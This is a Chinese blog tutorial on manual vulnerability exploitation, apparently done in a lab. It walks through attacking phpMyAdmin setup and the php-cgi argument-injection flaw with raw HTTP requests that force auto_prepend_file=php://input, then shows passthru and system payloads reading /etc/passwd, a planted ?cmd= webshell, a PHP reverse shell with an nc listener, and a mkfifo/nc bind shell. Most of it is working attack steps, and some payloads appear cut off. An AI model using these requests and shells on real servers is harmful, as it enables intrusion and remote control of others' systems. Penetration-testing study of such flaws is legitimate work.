美文网首页
手动漏洞挖掘(一)

手动漏洞挖掘(一)

作者: 小兲 | 来源:发表于2017-09-03 15:27 被阅读0次

    早期phpMyAdmin服务器的一个漏洞

    php服务器默认安装如果setup不禁用掉的话,可以不通过登陆账号直接进入到里面进行配置

    http://192.168.133.132/phpMyAdmin/setup/

    通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令

    1

    http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通过phpMyAdmin修改.ini主配置文件

    1

    POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

    Host: 192.168.20.10

    Content-Length: 34




    passthru('ls');

    die();

    ?>

    打开burpsuite,在repeater中执行以上的代码,Go

    就可以在右侧返回的信息中看到执行的结果

    只要在passthru()方法中添加想要执行的命令

    甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。

    一枚简单的木马

    利用的是位于phpMyAdmin/setup下的漏洞

    1

    POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

    Host: 192.168.20.10

    Content-Length: 100




    passthru('echo "" > /var/www/2.php');

    die();

    ?>

    打开burpsuite,在repeater中执行以上的代码,Go

    passthru('cat /var/www/2.php');

    查看刚才写的文件,返回发现写成功了

    打开l浏览器输入

    http://192.168.133.132/2.php?cmd=id

    http://192.168.133.132/2.php?cmd=pwd

    http://192.168.133.132/2.php?cmd=ls

    http://192.168.133.132/2.php?cmd=cat /etc/passwd

    你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可

    php反弹shell

    它在kali的位置

    /usr/share/webshells/php/php-reverse-shell.php

    修改一下,把IP换成本机的IP地址

    然后将所有内容复制下来复制到在burpsuite的body中

    先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求

    于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多

    有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它

    cd /sbin

    ./ifconfg

    就能执行了

    又一枚木马

    这个利用ubuntu/debian默认安装的php5-cgi的漏洞

    可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下

    ,而不是在web的根目录下

    ,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的,但是他们是可以被访问的。

    打开burpsuite,输入

    1

    POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

    Host: 123

    Content-Length: 50




    echo system('cat /etc/passwd');

    die();

    ?>

    1

    2注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

    这一串是经过编码之后的内容,对它解码会发现是这些内容,为为什么要这样编码呢?是因为php服务器进行了一些过滤机制,如果用明文还执行不成功。

    1

    一定要有host,后面的内容可以随便填
    Host: 123

    go

    在服务器上打开一个侦听端口

    echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');

    php服务器开启一个端口等待连接

    然后打开一个终端用nc连接,就拿到shell了

    相关文章

      网友评论

          本文标题:手动漏洞挖掘(一)

          本文链接:https://www.haomeiwen.com/subject/ewhjjxtx.html